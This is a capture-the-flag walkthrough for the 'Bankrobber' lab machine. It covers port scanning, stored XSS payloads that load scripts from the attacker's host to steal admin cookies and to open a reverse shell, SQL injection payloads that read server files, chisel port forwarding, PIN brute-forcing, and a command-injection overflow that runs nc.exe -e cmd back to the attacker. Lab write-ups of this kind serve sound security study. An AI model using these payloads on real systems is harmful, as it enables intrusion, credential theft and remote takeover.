Bankrobber

Enumeration

As always, we start with the enumeration phase, in which we try to scan the machine looking for open ports and finding out services and versions of those opened ports.

The following nmap command will scan the target machine looking for open ports in a fast way and saving the output into a file:

nmap -sS --min-rate 5000 -p- -T5 -Pn -n 10.10.10.154 -oN allPorts

  • -sS use the TCP SYN scan option. This scan option is relatively unobtrusive and stealthy, since it never completes TCP connections.

  • --min-rate 5000 nmap will try to keep the sending rate at or above 5000 packets per second.

  • -p- scanning the entire port range, from 1 to 65535.

  • -T5 insane mode, it is the fastest mode of the nmap time template.

  • -Pn assume the host is online.

  • -n scan without reverse DNS resolution.

  • -oN save the scan result into a file, in this case the allports file.

Now that we know which ports are open, let's try to obtain the services and versions running on these ports. The following command will scan these ports more in depth and save the result into a file:

nmap -sC -sV -p80,443,445,3306 10.10.10.154 -oN targeted

  • -sC performs the scan using the default set of scripts.

  • -sV enables version detection.

  • -oN save the scan result into file, in this case the targeted file.

Let's take a look at the website.

Let's create a new user in the REGISTER section.

Then, log in as the new user.

It looks like we can transfer E-coins through a form. If we fill it with random information, and submit it, an alert will pop up saying that an administrator will review it.

Exploitation

We could try to steal the administrator cookies doing an XSS attack. Let's create the pwn.js file, which will send us the cookies of the user who will load this file.

Then, set a simple HTTP server on the directory where the pwn.js file is located.

python -m http.server 80

If we send the following payload in the comment section of the form, when the administrator read the comment, he will download and execute the pwn.js file from our machine, and will send us his cookies.

<script src="http://10.10.14.8/pwn.js"></script>

We have two cookies named username and password that are encoded. Let's URL decode it.

php --interactive

Now, let's base64 decode them.

echo "YWRtaW4=" | base64 -d; echo ""; echo "SG9wZWxlc3Nyb21hbnRpYw==" | base64 -d

Now that we have the credentials of the admin user, let's log in as him.

Now, we are able to see more functionalities.

The Search users (beta) tool looks vulnerable to SQL Injection.

' or 1=1-- -

We can see all the databases available.

' union select 1,schema_name,2 from information_schema.schemata-- -

As we can see there is one database called phpmyadmin. If we try to access the /phpmyadmin directory, we will get an XAMPP error.

As the website runs with XAMPP, and we are currently in the /admin directory, we can guess that the absolute path could be something like C:\xampp\htdocs\admin. This might come handy later. There is another functionality on the website called Backdoorchecker, which we are only allow to run the dir command. But if I try to run it, I will get an error saying that it's only allowed to access this function from localhost.

If we check the POST request, we'll see that it is being made against the /admin/backdoorchecker.php file.

Let's try to read that file, which might be located in the C:\xampp\htdocs\admin\backdoorchecker.php absolute path, with the SQL Injection we found earlier, using the load_file function. To do it, intercept the request with BurpSuite, send it to the repeater, and send the following payload.

term='+union+select+1,load_file("C:\xampp\htdocs\admin\backdoorchecker.php"),3--+-

We can see the content of the backdoorchecker.php file in the response.

The PHP script is checking that the $_SERVER['REMOTE_ADDR'] is equal to ::1, which means that only localhost can run the dir command. It is also checking the command doesn't have the $( and & characters. As only users from the machine can run commands, we do another XSS attack, but this time the admin user will send a POST request to the backdoorchecker.php file, with a command that will send us a reverse shell as an argument. First, set a netcat listener on port 4444 with rlwrap.

rlwrap nc -lvnp 4444

  • -l listen mode.

  • -v verbose mode.

  • -n numeric-only IP, no DNS resolution.

  • -p specify the port to listen on.

Now, create the revShell.js with the following content.

And set a simple HTTP server with python on the current directory.

python -m http.server 80

Now, set a SMB server with impacket on the directory where the nc.exe binary is located.

impacket-smbserver smbFolder $(pwd) -smb2support

Finally, if we send the same XSS payload as before in the comment section to the admin user, he will download an run the revShell.js file, which will use the nc.exe binary located in our SMB server, and it will send us a reverse shell as the cortin user. Then, we'll be able to grab the user flag.

<script src="http://10.10.14.8/revShell.js"></script>

Privilege Escalation

If we check the root directory, we'll see a binary called bankv2.exe.

dir \

The binary is being executed as a task in the system.

tasklist

And we can see that the PID 1684 is running on port 910.

netstat -ano

  • -n show active TCP connections.

  • -a show TCP and UDP listening ports.

  • -o show PID for each connection.

Let's use chisel, to do port forwarding of that port, so we are able to access it from our machine. First, set a SMB server where the chisel binary for Windows is located.

impacket-smbserver smbFolder $(pwd) -smb2support

On our local machine, let's run chisel as a server on port 1234.

./chisel server --reverse -p 1234

  • --reverse allow clients to specify reverse port forwarding.

  • -p specify the server port.

On the Windows machine, execute chisel as a client, connect to the server on port 1234 and do a port forwarding of port 910.

\\10.10.14.8\smbFolder\chisel_1.7.7_windows_amd64 client 10.10.14.8:1234 R:910:127.0.0.1:910

Now, we can connect to port 910 of the victim machine through port 910 of our local machine. If we connect to the service, it will ask for a PIN. But, if we enter a wrong PIN, it will disconnect us from the service.

nc 127.0.0.1 910

We can try to bruteforce the PIN. The following python script will try each combination from 0000 to 9999, until it gets the correct PIN.

If we run the script, we'll see that the correct PIN is 0021.

python exploit.py

After we enter the correct code, the service will ask how many e-coins we want to transfer. After we specify a random number, it will run the C:\Users\admin\Documents\transfer.exe tool.

nc 127.0.0.1 910

But if we enter a bunch of A characters, we will be able to overwrite the tool value.

nc 127.0.0.1 910

We can do something similar, like in a Buffer Overflow attack. We need to find the offset, so then we can run our own command on the tool value. Let's create a pattern.

msf-pattern_create -l 50

Now, put it in the amount of e-coins input.

nc 127.0.0.1 910

As we can see, the first bytes of the tool value are 0Ab1. Now we can check the offset.

msf-pattern_offset -q 0Ab1

The payload will be 32 A characters, and a command which will grab the nc.exe binary from our SMB server, and send a reverse shell to us.

python -c "print('A'*32+'\\\\\\\\10.10.14.8\\\\smbFolder\\\\nc.exe -e cmd 10.10.14.8 4444')"

Now, set a netcat listener on port 4444 with rlwrap.

rlwrap -lvnp 4444

And send the payload in the e-coins input.

nc 127.0.0.1 910

We should have caught a shell as the nt authority\system user, and now all we have to do is reap the harvest and take the root flag.

Last updated

Was this helpful?